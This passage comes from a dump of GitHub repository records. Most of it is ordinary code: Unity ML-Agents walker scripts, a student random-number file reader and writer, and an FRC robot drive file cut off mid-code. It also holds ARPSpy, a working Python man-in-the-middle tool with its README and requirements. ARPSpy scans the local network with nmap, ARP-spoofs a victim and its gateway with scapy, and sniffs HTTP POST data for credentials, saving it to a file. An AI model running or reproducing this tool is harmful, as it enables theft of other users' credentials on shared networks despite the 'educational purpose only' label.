charCon.Move(transform.forward * Random.Range(0.0f, 1.0f));\n transform.rotation = Quaternion.Euler(new Vector3(0f, Random.Range(0, 360)));\n // transform.rotation = Quaternion.Euler(new Vector3(0f, 30f, 0f));\n\n // switchLogic.ResetSwitch(items[1], items[2]);\n // myArea.CreateStoneSlamWalker(1, items[3]);\n // myArea.CreateStoneSlamWalker(1, items[4]); \n // myArea.CreateStoneSlamWalker(1, items[5]);\n // myArea.CreateStoneSlamWalker(1, items[6]);\n // myArea.CreateStoneSlamWalker(1, items[7]);\n // myArea.CreateStoneSlamWalker(1, items[8]);\n }\n\n private void OnCollisionEnter(Collision collision)\n {\n // if (collision.gameObject.CompareTag(\"goal\"))\n // {\n // SetReward(2f);\n // Done();\n // }\n }\n\n public override void AgentOnDone()\n {\n\n }\n}\n"
},
{
"alpha_fraction": 0.5690699219703674,
"alphanum_fraction": 0.580077052116394,
"avg_line_length": 34.34000015258789,
"blob_id": "c994f1fd34a593c39a3c8ad9cd19a66f70e5ef7c",
"content_id": "97232be585d2a5e3332d5a8b2772465acf96382f",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "C#",
"length_bytes": 3636,
"license_type": "permissive",
"max_line_length": 116,
"num_lines": 100,
"path": "/UnitySDK/Assets/ML-Agents/Examples/SlamWalker/Scripts/MapWalker.cs",
"repo_name": "natetrue/ml-agents",
"src_encoding": "UTF-8",
"text": "using System;\r\nusing System.Collections;\r\nusing System.Collections.Generic;\r\nusing UnityEngine;\r\nusing System.IO;\r\n\r\nclass PositionTuple {\r\n public Vector3 startPosition;\r\n public Vector2 endPosition;\r\n\r\n public PositionTuple(Vector3 sp, Vector2 ep)\r\n {\r\n this.startPosition = sp;\r\n this.endPosition = ep;\r\n }\r\n}\r\n\r\n[RequireComponent(typeof(CharacterController))]\r\npublic class MapWalker : MonoBehaviour\r\n{\r\n private CharacterController charCon;\r\n\r\n private LinkedList<PositionTuple> positionQueue = new LinkedList<PositionTuple>();\r\n\r\n private HashSet<Vector2> visitedPositions = new HashSet<Vector2>();\r\n private HashSet<Vector2> consideredPositions = new HashSet<Vector2>();\r\n\r\n private StreamWriter fileWriter;\r\n\r\n public float granularity = 0.3f;\r\n\r\n public int stepsPerFrame = 50;\r\n\r\n // Start is called before the first frame update\r\n void Start()\r\n {\r\n charCon = GetComponent<CharacterController>(); \r\n enqueueTravelFrom(transform); \r\n fileWriter = new StreamWriter(\"locations.csv\", false);\r\n }\r\n\r\n // Update is called once per frame\r\n void Update()\r\n {\r\n for (int i = 0; i < stepsPerFrame; i++) {\r\n // Check if done\r\n if (positionQueue.Count == 0) {\r\n Debug.LogWarning(\"Done!\");\r\n fileWriter.Close();\r\n this.enabled = false;\r\n return;\r\n }\r\n\r\n // Grab one position from the queue\r\n var p = positionQueue.Last.Value;\r\n positionQueue.RemoveLast();\r\n var dest = p.endPosition;\r\n var dest3 = new Vector3(dest.x, p.startPosition.y, dest.y);\r\n\r\n // Warp to that position\r\n charCon.enabled = false;\r\n transform.position = p.startPosition;\r\n transform.LookAt(dest3);\r\n charCon.enabled = true;\r\n\r\n // Attempt to move there\r\n charCon.Move(dest3 - transform.position);\r\n\r\n // Check if succeeded\r\n if ((dest3 - transform.position).magnitude < granularity/2) {\r\n var startElev = transform.position.y;\r\n charCon.Move(new Vector3(0, -100, 0));\r\n if (transform.position.y > startElev - 0.5) {\r\n var v = new Vector2(transform.position.x, transform.position.z);\r\n v.x = Mathf.Round(v.x / granularity) * granularity;\r\n v.y = Mathf.Round(v.y / granularity) * granularity;\r\n // Debug.LogWarning(String.Format(\"Visited {0}, {1} elev {2}\", v.x, v.y, transform.position.y));\r\n visitedPositions.Add(v);\r\n fileWriter.WriteLine(String.Format(\"{0},{1},{2}\", v.x, transform.position.y, v.y));\r\n enqueueTravelFrom(transform);\r\n }\r\n }\r\n }\r\n }\r\n\r\n private void enqueueTravelFrom(Transform t) {\r\n enqueuePosition(t, new Vector2(t.position.x + granularity, t.position.z));\r\n enqueuePosition(t, new Vector2(t.position.x - granularity, t.position.z));\r\n enqueuePosition(t, new Vector2(t.position.x, t.position.z + granularity));\r\n enqueuePosition(t, new Vector2(t.position.x, t.position.z - granularity));\r\n }\r\n\r\n private void enqueuePosition(Transform t, Vector2 v) {\r\n v.x = Mathf.Round(v.x / granularity) * granularity;\r\n v.y = Mathf.Round(v.y / granularity) * granularity;\r\n if (!consideredPositions.Contains(v))\r\n positionQueue.AddLast(new PositionTuple(t.position, v));\r\n consideredPositions.Add(v);\r\n }\r\n}\r\n"
},
{
"alpha_fraction": 0.5768700242042542,
"alphanum_fraction": 0.6077836155891418,
"avg_line_length": 35.60606002807617,
"blob_id": "9d12f5f685b8da8d9d64764c5f5e164841245acd",
"content_id": "a4461b66c2f97bd75388bcab3fca1363b37fc5e8",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3623,
"license_type": "permissive",
"max_line_length": 138,
"num_lines": 99,
"path": "/UnitySDK/Assets/ML-Agents/Examples/SlamWalker/walkerclient.py",
"repo_name": "natetrue/ml-agents",
"src_encoding": "UTF-8",
"text": "env_name = None # Name of the Unity environment binary to launch\ntrain_mode = True # Whether to run the environment in training or inference mode\n\nimport numpy as np\nimport sys\nimport cv2\n\nfrom mlagents.envs import UnityEnvironment\n\n\ndef depth_rgb_to_float(depth_rgb_img):\n depth_img = depth_rgb_img[:,:,0] * 16777216 + depth_rgb_img[:,:,1] * 65536 + depth_rgb_img[:,:,2] * 256\n depth_img = (depth_img / 16777216.0) * (100 - 0.3) + 0.3\n return depth_img\n\ndef walking_iterator():\n env = UnityEnvironment(file_name=env_name)\n\n # Set the default brain to work with\n default_brain = env.brain_names[0]\n brain = env.brains[default_brain]\n\n # Reset the environment\n env_info = env.reset(train_mode=train_mode)[default_brain]\n\n # Examine the state space for the default brain\n print(\"Agent vector observations look like: \\n{}\".format(env_info.vector_observations[0]))\n\n # Examine the observation space for the default brain\n print(\"Agent visual observations look like:\")\n for i, vo in enumerate(env_info.visual_observations):\n print(\"Visual observation\", i, \":\", vo[0].shape)\n\n turning_sign = 1\n while True:\n # Interpret and yield sensory input\n rgb_image = env_info.visual_observations[0][0]\n depth_image = depth_rgb_to_float(env_info.visual_observations[1][0])\n pose = env_info.vector_observations[0][:4]\n forward_clear_dist = env_info.vector_observations[0][4]\n\n yield {\n 'image': rgb_image,\n 'depth': np.clip(depth_image * 1000, 0, 65535).astype(np.uint16),\n 'pose': pose\n }\n\n # Decide on actions\n # First action dim is forward motion, second is rotation\n actions = np.zeros([len(env_info.agents), brain.vector_action_space_size[0]], np.float32)\n\n if forward_clear_dist > 3.0:\n turning_sign = -1 * turning_sign\n\n if forward_clear_dist > 1.0:\n # Forward is clear, go forward\n actions[0,0] = np.random.uniform(0.05, 0.5)\n actions[0,1] = np.random.uniform(0.0, 0.01) * turning_sign\n elif forward_clear_dist < 0.1:\n # Back up!\n actions[0,0] = np.random.uniform(-0.05, -0.5)\n else:\n # Just a little distance. Turn\n actions[0,1] = np.random.uniform(0.01, 0.05) * turning_sign\n\n env_info = env.step(actions)[default_brain]\n if env_info.local_done[0]:\n env_info = env.reset(train_mode=train_mode)\n if type(env_info) is dict:\n # This happens sometimes, not sure why\n env_info = env_info['SlamWalkerLearning']\n\nif __name__ == \"__main__\":\n for x in walking_iterator():\n print(x['pose'])\n cv2.imshow('image', x['image'])\n cv2.imshow('depth', x['depth'])\n cv2.waitKey(10)\n\nenv.close()\n'''\nfor episode in range(10):\n env_info = env.reset(train_mode=train_mode)[default_brain]\n done = False\n episode_rewards = 0\n while not done:\n action_size = brain.vector_action_space_size\n if brain.vector_action_space_type == 'continuous':\n env_info = env.step(np.random.randn(len(env_info.agents), \n action_size[0]))[default_brain]\n else:\n action = np.column_stack([np.random.randint(0, action_size[i], size=(len(env_info.agents))) for i in range(len(action_size))])\n env_info = env.step(action)[default_brain]\n episode_rewards += env_info.rewards[0]\n done = env_info.local_done[0]\n print(\"Total reward this episode: {}\".format(episode_rewards))\n\nenv.close()\n'''"
}
] | 3 |
blaylockc09/RandomReader | https://github.com/blaylockc09/RandomReader | 427d18fc02c796d14523a69704750529710192ad | b8e0491d737357d6d60032ad0f714b3470ebab33 | 47858ab95036884426abccabd24422dfdd99e6d6 | refs/heads/master | 2021-02-17T02:42:32.197251 | 2020-03-05T04:01:00 | 2020-03-05T04:01:00 | 245,064,423 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6290672421455383,
"alphanum_fraction": 0.6409978270530701,
"avg_line_length": 21.58974266052246,
"blob_id": "1d4c3c04d65dc32514e1150e5341467dd8b5b16e",
"content_id": "69f775e95f7c1db549c3911a9548e9bbd5830f20",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 922,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 39,
"path": "/Read.py",
"repo_name": "blaylockc09/RandomReader",
"src_encoding": "UTF-8",
"text": "# Read a file with an unknown number of numbers in it\r\n# Calculate and display the total of the numbers and the number of numbers\r\n# in the file\r\n# Chris Blaylock\r\n# 10/30/2019\r\n\r\n# Initialize variables\r\ntotal = 0\r\ncount = 0\r\n\r\n# Input: read numbers from a file\r\n\r\n# Handle any exceptions using try/except\r\ntry:\r\n \r\n # Open the file\r\n infile = open('random_numbers', 'r')\r\n\r\n for num in infile:\r\n number = int(num)\r\n total = total + number\r\n count = count + 1\r\n\r\n # Close the file\r\n infile.close()\r\n\r\n\r\n # Output: display the total of the numbers, and the number of numbers\r\n print(\"The total of the random numbers is\", total)\r\n print(\"The number of random numbers in the file is\", count)\r\n\r\nexcept IOError:\r\n print(\"An error occurred trying to open the file\")\r\n\r\nexcept ValueError:\r\n print(\"Non-numeric data found in the file\")\r\n\r\nexcept Exception as err:\r\n print(err)\r\n\r\n"
},
{
"alpha_fraction": 0.6420454382896423,
"alphanum_fraction": 0.6602272987365723,
"avg_line_length": 28.34482765197754,
"blob_id": "bfe682d6191158d3670c256641764fcba9868dea",
"content_id": "625720bc398759cc1058b4a82b2dc93d0fb53c6e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 880,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 29,
"path": "/Write.py",
"repo_name": "blaylockc09/RandomReader",
"src_encoding": "UTF-8",
"text": "# Write random numbers to a file. The user specifies how many numbers to write.\r\n# The numbers should be from 1 through 500.\r\n# Chris Blaylock\r\n# 10/20/2019\r\n\r\n# Import the random library\r\nimport random\r\ntry:\r\n # Open the file\r\n outfile = open ('random_numbers.txt', 'w')\r\n # Input from the user specify how many random numbers to generate.\r\n Number_of_Random_Numbers = int(input(\"How many random numbers do you want to generate?\"))\r\n\r\n\r\n # Use a loop to generate the number of random numbers requested by the user\r\n\r\n for num in range (Number_of_Random_Numbers):\r\n number = random.randint(1,500)\r\n # Output: write the random numbers to a file\r\n outfile.write(str(number) + '\\n')\r\n\r\n # Close the file\r\n outfile.close()\r\n \r\nexcept IOError:\r\n print(\"An error occurred trying to open the file\")\r\n\r\nexcept Exception as err:\r\n print(err)\r\n"
}
] | 2 |
letronghoangminh/ARPSpy | https://github.com/letronghoangminh/ARPSpy | 4973f9ad84cd7da8e6b2dfbdad12265f843cdc50 | c53d1d78928b2c2f10904b6efbd289ee418a751e | e7f26addfcd1ae340d6ac06eb4a899615c7786d4 | refs/heads/master | 2023-05-09T18:46:31.625243 | 2021-05-26T07:07:29 | 2021-05-26T07:07:29 | 370,732,046 | 14 | 1 | null | null | null | null | null | [
{
"alpha_fraction": 0.7201986908912659,
"alphanum_fraction": 0.7334437370300293,
"avg_line_length": 17.875,
"blob_id": "ef671ed1b7acad966b8e5d0333f3fc7b3a8811ba",
"content_id": "fdd9aa52a4fcea642e79cf38bfe7af9dfd3fb0ee",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 604,
"license_type": "permissive",
"max_line_length": 136,
"num_lines": 32,
"path": "/README.md",
"repo_name": "letronghoangminh/ARPSpy",
"src_encoding": "UTF-8",
"text": "## ARPSpy - A lightweight tool to perform MITM attack\n\nUsing many library to perform ARP Spoof and auto-sniffing HTTP packet containing credential. (Never use HTTP Websites on public network)\n\nGive me a star if you like it =))\n\nNot well-tested for any platform other than my Kali Machine\n\n## Requirement\n- net-tools package\n- pip3\n- python3\n\n## Installation and Usage\n\nPython3 only\n\n```\n\tgit clone https://github.com/letronghoangminh/ARPSpy\n\tcd ARPSpy\n\tsudo pip3 install -r requirements.txt\n\tsudo python3 ARPSpy.py \n```\n\n## License\nMIT\n\n## Version\nCurrent version: 1.0.1\n\n## Author:\n#### Lê Trọng Hoàng Minh (Minh Itachi)\n"
},
{
"alpha_fraction": 0.8275862336158752,
"alphanum_fraction": 0.8620689511299133,
"avg_line_length": 8.666666984558105,
"blob_id": "7dff0e42ccff14271b62f4c1bba607ecce3f27d4",
"content_id": "e4ac6f548abdccbcaf90d802c07b16656e6f34f1",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 29,
"license_type": "permissive",
"max_line_length": 12,
"num_lines": 3,
"path": "/requirements.txt",
"repo_name": "letronghoangminh/ARPSpy",
"src_encoding": "UTF-8",
"text": "termcolor\npython3-nmap\nscapy\n"
},
{
"alpha_fraction": 0.5136775374412537,
"alphanum_fraction": 0.5196526646614075,
"avg_line_length": 38.81784439086914,
"blob_id": "1d98bc469d00595bff35572f8af8457aa56f4b00",
"content_id": "5997b75a2b1985224ccd32b8be35d48147528979",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10711,
"license_type": "permissive",
"max_line_length": 144,
"num_lines": 269,
"path": "/ARPSpy.py",
"repo_name": "letronghoangminh/ARPSpy",
"src_encoding": "UTF-8",
"text": "import socket, sys, os, re, nmap3, logging, threading\nfrom termcolor import colored\nfrom scapy.all import *\nfrom datetime import datetime\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s - %(levelname)s - %(message)s\")\n\nprint(colored('''\n\n _____ _____ _____ _____ __ __\n /\\ | __ \\ | __ \\ / ____| | __ \\ \\ \\ / /\n / \\ | |__) | | |__) | | (___ | |__) | \\ \\_/ / \n / /\\ \\ | _ / | ___/ \\___ \\ | ___/ \\ / \n / ____ \\ | | \\ \\ | | ____) | | | | | \n /_/ \\_\\ |_| \\_\\ |_| |_____/ |_| |_| \n\n\n\n''', \"white\"))\n\nprint(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\nprint(colored(\"[+] Author: LE TRONG HOANG MINH (MINH ITACHI)\", \"magenta\"))\nprint(colored(\"[+] Starting script at: \" + str(datetime.now()), \"magenta\"))\nprint(colored(\"[+] ARPSpy - a lightweight tool to perform MITM attack on local network (educational purpose only)\",\n \"magenta\"))\nprint(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\n\n# Check root user\nprint(colored(\"[-] Checking user's privilege...\", \"yellow\"))\n\n\ndef checkRootUser():\n if os.getuid() != 0:\n print(colored(\"[!] Run this script with sudo !!!\", \"red\"))\n sys.exit()\n\n\ncheckRootUser()\nprint(colored(\"[+] You are root user\", \"green\"))\nprint(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\n\n\ndef getPrivateIP():\n try:\n hostname = socket.gethostname()\n ip_address = socket.gethostbyname(hostname)\n return ip_address\n except Exception as err:\n print(colored(\"[!] Unable to get your local IP address\", \"red\"))\n print(colored(\"[!] \" + err, \"red\"))\n return \"127.0.0.1\"\n\n\n# Get IP address\nprint(colored(\"[-] Getting your local IP address...\", \"yellow\"))\nip_address = getPrivateIP()\n\n\n# In case getPrivateIP return loopback interface IP address\ndef inputIPAddress(ip_address):\n if ip_address == \"127.0.0.1\" or ip_address == \"127.0.1.1\":\n print(colored(\"[!] Unable to get your local IP address\", \"red\"))\n ip_address = input(\n colored(\"[-] Please manually input your IP address ('ifconfig' or 'ip a' command on Linux): \",\n \"yellow\"))\n ipRegex = re.compile(r\"\\b((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\\.|$)){4}\\b\")\n\n while not ipRegex.search(ip_address):\n ip_address = input(\n colored(\"[-] Please manually input your IP address ('ifconfig' or 'ip a' command on Linux): \",\n \"yellow\"))\n\n return ip_address\n\n\nip_address = inputIPAddress(ip_address)\nprint(colored(\"[+] Your local IP address is \" + ip_address, \"green\"))\nprint(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\n\n\n# Requirement: net-tools package\ndef getNetworkIpAddress(ip_address):\n os.system(\"ipcalc \" + ip_address + \" > ipcalc_result.txt\")\n ipcalc_result = open(\"ipcalc_result.txt\", \"r\")\n\n for line in ipcalc_result.readlines():\n if line.find(\"Network\") != -1:\n return re.compile(r\"\\s+\").split(line)[1]\n\n ipcalc_result.close()\n\n\n# calculate network CIDR\nprint(colored(\"[-] Calculating your local network CIDR...\", \"yellow\"))\nnetworkIPaddress = getNetworkIpAddress(ip_address)\nprint(colored(\"[+] Your local network CIDR is \" + networkIPaddress, \"green\"))\nprint(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\n\n\ndef scanLocalNetwork(networkIPaddress):\n nmap = nmap3.Nmap()\n result = nmap.scan_top_ports(networkIPaddress)\n listOfHosts = list(result.keys())\n listOfHosts.pop() # pop stats\n listOfHosts.pop() # pop runtimes\n\n return listOfHosts\n\n\nprint(colored(\"[-] Scanning your local network... (this may take a few minutes)\", \"yellow\"))\nlistOfHosts = scanLocalNetwork(networkIPaddress)\n\n\ndef chooseHostToAttack(listOfHosts):\n for host in listOfHosts:\n if host.endswith(\".1\"):\n print(colored(\"[+] Found host on local network: \" + host + \" (Possibly gateway)\", \"cyan\"))\n continue\n print(colored(\"[+] Found host on local network: \" + host, \"cyan\"))\n\n print(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\n\n choice = \"\"\n while choice != \"n\" and choice != \"N\":\n choice = input(colored(\n \"[-] Do you want to perform OS detection scanning on any host(Increase chance to find right target)?(Y/N): \",\n \"yellow\"))\n if choice == \"Y\" or choice == \"y\":\n hostToScan = input(colored(\"[-] Host to scan (may take a few minutes): \", \"yellow\"))\n while hostToScan not in listOfHosts:\n print(colored(\"[!] Host invalid, please choose again\", \"red\"))\n hostToScan = input(colored(\"[-] Host to scan (may take a few minutes): \", \"yellow\"))\n OSScan(hostToScan)\n\n print(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\n\n target = input(colored(\"[-] Choose host to perform attack: \", \"yellow\"))\n while target not in listOfHosts:\n print(colored(\"[!] Host invalid, please choose again\", \"red\"))\n target = input(colored(\"[-] Choose host to perform attack: \", \"yellow\"))\n\n gateway = input(colored(\"[-] Choose gateway to perform attack: \", \"yellow\"))\n while gateway not in listOfHosts:\n print(colored(\"[!] Host invalid, please choose again\", \"red\"))\n gateway = input(colored(\"[-] Choose gateway to perform attack: \", \"yellow\"))\n\n return (target, gateway)\n\n\ndef OSScan(host):\n try:\n nmap = nmap3.Nmap()\n result = nmap.nmap_os_detection(host)\n\n print(colored(\"[+] Result for scanning host \" + host, \"green\"))\n print(colored(\"[+] Macaddress: \" + result[host][\"macaddress\"][\"addr\"], \"cyan\"))\n print(colored(\"[+] Vendor: \" + result[host][\"macaddress\"][\"vendor\"], \"cyan\"))\n\n if len(result[host][\"osmatch\"]) == 0:\n print(colored(\"[+] OS match (possible): None\", \"cyan\"))\n else:\n print(colored(\"[+] OS match (possible): \", \"cyan\"))\n for os in result[host][\"osmatch\"]:\n print(colored(\" [+] Name: \" + os[\"name\"] + \" - Accuracy: \" + os[\"accuracy\"], \"blue\"))\n\n if len(result[host][\"ports\"]) == 0:\n print(colored(\"[+] Ports open: None\", \"cyan\"))\n else:\n print(colored(\"[+] Ports open: \", \"cyan\"))\n for port in result[host][\"ports\"]:\n print(colored(\n \" [+] Port: \" + port[\"portid\"] + \" - Protocol: \" + port[\"protocol\"] + \" - Service: \" +\n port[\"service\"][\n \"name\"] + \" - State: \" + port[\"state\"], \"blue\"))\n except:\n print(colored(\"[!] Error happened in scanning device, please try again with another device or skip this step\",\n \"red\"))\n\n\ntarget, gateway = chooseHostToAttack(listOfHosts)\nprint(colored(\"[+] Target specified: \" + target, \"green\"))\nprint(colored(\"[+] Gateway specified: \" + gateway, \"green\"))\nprint(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\n\n\ndef get_mac(ip):\n try:\n arp_request = ARP(pdst=ip)\n broadcast = Ether(dst=\"ff:ff:ff:ff:ff:ff\")\n arp_request_broadcast = broadcast / arp_request\n answered_list = srp(arp_request_broadcast, timeout=5, verbose=False)[0]\n return answered_list[0][1].hwsrc\n except:\n return \"ff:ff:ff:ff:ff:ff\"\n\n\ndef spoof(target_ip, spoof_ip):\n try:\n packet = ARP(op=2, pdst=target_ip,\n hwdst=get_mac(target_ip),\n psrc=spoof_ip)\n\n send(packet, verbose=False)\n except:\n pass\n\ndef arpspoof(target, gateway):\n os.system(\"echo 1 > /proc/sys/net/ipv4/ip_forward\") # enable port forwarding\n while True:\n spoof(target, gateway)\n spoof(gateway, target)\n\n\n# def arpspoof(target, gateway, iface):\n# os.system(\"echo 1 > /proc/sys/net/ipv4/ip_forward\") # enable port forwarding\n# os.system(\n# \"arpspoof -t \" + gateway + \" \" + target + \" -i \" + iface + \" 1>/dev/null 2>/dev/null &\") # spoof the target\n# os.system(\n# \"arpspoof -t \" + target + \" \" + gateway + \" -i \" + iface + \" 1>/dev/null 2>/dev/null &\") # spoof the gateway\n\narpspoofThread = threading.Thread(target=arpspoof, args=(target, gateway))\narpspoofThread.start()\niface = input(colored(\"[-] Input your network interface to sniff ('ifconfig' or 'ip a' command on Linux): \", \"yellow\"))\nprint(colored(\"[-] Enabling IPv4 Port Forwarding...\", \"yellow\"))\nprint(colored(\"[-] Spoofing target and gateway...\", \"yellow\"))\n\n\nprint(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\n\n\nprint(colored(\"[+] Listening on \" + iface + \" for any HTTP POST data...\", \"yellow\"))\nprint(colored(\"[+] Data will be save in data.txt in the same directory\", \"yellow\"))\nprint(colored(\"[+] You have to check the data by hand to find what you're interested in\", \"yellow\"))\nprint(colored(\"[+] If the file is empty, please patient and keep waiting\", \"yellow\"))\nprint(colored(\"[+] Thanks for using my tool. Hope you could find something good !\", \"yellow\"))\nprint(colored(\"----------------------------------------------------------------------------------------\", \"green\"))\n\noutputFile = open(\"data.txt\", \"w\")\n\n\ndef packet_callback(packet):\n try:\n global outputFile\n if packet[TCP].payload:\n if packet[IP].dport == 80: # HTTP\n payload = str(bytes(packet[TCP].payload))\n if payload.find(\"POST\") != -1 or (payload.find(\"POST\") == -1 and payload.find(\n \"GET\") == -1): # POST data or fragmentation IP packet data\n outputFile.write(payload)\n outputFile.write(\"\\n\")\n outputFile.write(\n \"---------------------------------------------------------------------------------------------------------------------\")\n outputFile.write(\"\\n\")\n print(colored(\"[+] POST data captured\", \"green\"))\n except:\n pass\n\n\ndef sniffHTTPPostTraffic(iface):\n sniff(filter='tcp', prn=packet_callback, store=0, count=0, iface=iface)\n\n\nsniffHTTPPostTraffic(iface)\n\n# If you find some error in using the tool,\n# try to understand and modify the script.\n# It is not well-tested for any platform other than my Kali Machine\n\n# Author: Minh Itachi\n"
}
] | 3 |
Joffreys-Coffrey/CTEC-Robotics2017 | https://github.com/Joffreys-Coffrey/CTEC-Robotics2017 | 463f62b3ed56d5fb4f9debab1904b87db58d59ae | c27b5d59b0355f8d563dea31cc347b5e98260915 | e037a48c0a4bdede67b9da50b5236049f320b58e | refs/heads/master | 2022-03-07T02:20:53.594219 | 2017-02-20T03:22:15 | 2017-02-20T03:22:15 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6566200256347656,
"alphanum_fraction": 0.6782382726669312,
"avg_line_length": 26.390663146972656,
"blob_id": "fe53db96e4ea2b3ad0f3b6560c1679fbc70250fa",
"content_id": "dcf17fef5e19b4de2230bd258a370be16797208e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 11148,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 407,
"path": "/Arcade.cpp",
"repo_name": "Joffreys-Coffrey/CTEC-Robotics2017",
"src_encoding": "UTF-8",
"text": "#include <iostream>\n#include <memory>\n#include <string>\n#include <IterativeRobot.h>\n#include \"WPILib.h\"\n#include \"CANTalon.h\"\n#include <cmath>\n#include <opencv2/imgproc/imgproc.hpp>\n#include <opencv2/core/core.hpp>\n#include <CameraServer.h>\n#include <thread>\n#include <doubleSolenoid.h>\n#include <AnalogPotentiometer.h>\n\nconst double EPSILON = 1E-1;\nbool isInverted;\t//True if robot drive is Inverted, false if not inverted\ndouble soloWait;\t// Time it takes for the Solenoid to shift gears\nDoubleSolenoid *gearbox1;\nclass Robot: public frc::IterativeRobot {\npublic:\n\n\n\tJoystick *leftJoyStick;\n\tJoystick *rightJoyStick;\n\n\tCANTalon *MotorR1;\n\tCANTalon *MotorR2;\n\tCANTalon *MotorR3;\n\tCANTalon *MotorL1;\n\tCANTalon *MotorL2;\n\tCANTalon *MotorL3;\n\n\tCANTalon *TopBallIntake;\n\tCANTalon *BottomBallIntake;\n\n//\tDigitalInput limitSwitch;\n\n\tCANTalon *gearMotor;\n\n\n\tPotentiometer *gearMech;\n\tTimer *AutoTimer;\n\n\tdouble gearMechOffset = 0.0;\n\tdouble &gearMax = gearMechOffset;\n\tdouble gearMin = 0.0f;\n\n\tdouble autonMode;\n\n\tbool auton1;\t\t// booleans to control which autonomous codes are able to run\n\tbool auton2;\t\t// basically a switch...\n\tbool auton3;\n\n\tbool shouldStopGear = true;\n\n\tdouble thresh;\t\t// Threshold, if joystick value is below this number, the motors will be set to 0;\n\tdouble throttlePre;\t// Contains the raw value of the left joystick Y-axis\n\tdouble steerPre;\t// Contains the raw value of the right joystick X-axis\n\n\tdouble throttle;\t// Value used to set motors, derived from throttlePre\n\tdouble steer;\t\t// Value used to adjust motors in order to turn, derived from steerPre\n\tint invert;\t\t\t// value used to invert the motors by multiplying by throttle, (either 1 or -1)\n\tbool invertTest;\t// Used to make sure the invert If statement doesn't run multiple times with one press\n\n\tbool soloTest;\t\t// Used to make sure the Solenoid If statement doesn't run multiple times with one press\n\n\tbool isHighGear;\t// States whether the robot is in high gear or low gear (true==high gear, false=low gear)\n\n\tbool testButton3;\n\tbool testButton4;\n\tbool testButton5;\n\tdouble gearSetPoint;\n\tdouble gearPosition;\n\tdouble StartTime;\t// ?????\n\tconst double GEAR_UP_VELOCITY = -0.28;\n\tconst double GEAR_DOWN_VELOCITY = 0.1;\n\tconst double GEAR_HOLD = -0.15;\n\n\tdouble ballIntakeSpeed = 0.25;\n\n\tdouble roboRioAngle = 0.0;\n\n\tAccelerometer *accel;\n\tdouble lastTime = 0.0;\n\n\tstatic void VisionThread()\n\t{\n\t\t cs::UsbCamera cameraF = CameraServer::GetInstance()->StartAutomaticCapture(0);\n\t\t cameraF.SetResolution(320, 240);\n\t\t cameraF.SetFPS(10);\n\n\t\t cs::UsbCamera cameraR = CameraServer::GetInstance()->StartAutomaticCapture(1);\n\t\t cameraR.SetResolution(320, 240);\n\t\t cameraR.SetFPS(10);\n\n\t\t cs::CvSink cvSink1 = CameraServer::GetInstance()->GetVideo(cameraF);\n\t\t cs::CvSink cvSink2 = CameraServer::GetInstance()->GetVideo(cameraR);\n\n\t\t cs::CvSource outputStreamStd = CameraServer::GetInstance()->PutVideo(\"Gray\", 640, 480);\n\n\t\t cv::Mat source;\n\t\t cv::Mat output;\n\n\t\t while(true) {\n\t\t \tif(isInverted == false) {\n\t\t cvSink1.GrabFrame(source);\n\t\t cvtColor(source, output, cv::COLOR_BGR2GRAY);\n\t\t outputStreamStd.PutFrame(output);\n\t\t \t} else {\n\t\t\t\tcvSink2.GrabFrame(source);\n\t\t\t\tcvtColor(source, output, cv::COLOR_BGR2GRAY);\n\t\t\t\toutputStreamStd.PutFrame(output);\n\t\t \t}\n\t\t }\n\t\t }\n\n\tvoid RobotInit() {\n //std::thread visionThread(VisionThread);\n //visionThread.detach();\n\n\t\tSmartDashboard::PutNumber(\"Current Mode\", autonMode);\n\n\t\taccel = new BuiltInAccelerometer(Accelerometer::kRange_4G);\n\n\t\tdouble accelY = accel->GetY();\n\t\tdouble accelZ = accel->GetZ();\n\t\troboRioAngle = atan(accelY/accelZ);\n\n\n\t\tAnalogInput::SetSampleRate(62500);\n\t\tthis -> auton1 = false;\n\t\tthis -> auton2 = false;\n\t\tthis -> auton3 = false;\n this -> autonMode = 0;\n\n this ->testButton3=true;\n this ->testButton4=true;\n this ->testButton5=true;\n\n\t\tthis -> thresh = .05;\t\t// Threshold, if joystick value is below this number, the motors will be set to 0;\n\t\tthis -> throttle = 0;\t\t// Value used to set motors, derived from throttlePre\n\t\tthis -> steer = 0;\t\t// Value used to adjust motors in order to turn, derived from steerPre\n\t\tthis -> throttlePre = 0;\t// Contains the raw value of the left joystick Y-axis\n\t\tthis -> steerPre = 0;\t\t// Contains the raw value of the right joystick X-axis\n\t\tthis -> invert = -1;\t\t//value used to invert the motors by multiplying by throttle, (either 1 or -1)\n\t\tthis -> invertTest = true;\t// Used to make sure the invert If statement doesn't run multiple times with one press\n\n\t\tthis -> soloTest = true;\t// Used to make sure the Solenoid If statement doesn't run multiple times with one press\n\t\tthis -> isHighGear = true;\t// States whether the robot is in high gear or low gear (true==high gear, false=low gear)\n\t\tsoloWait = .25;\t\t// Time it takes for the Solenoid to shift gears\n\t\tthis -> StartTime = 0;\t\t//??????\n\n \t\t//limitSwitch=new 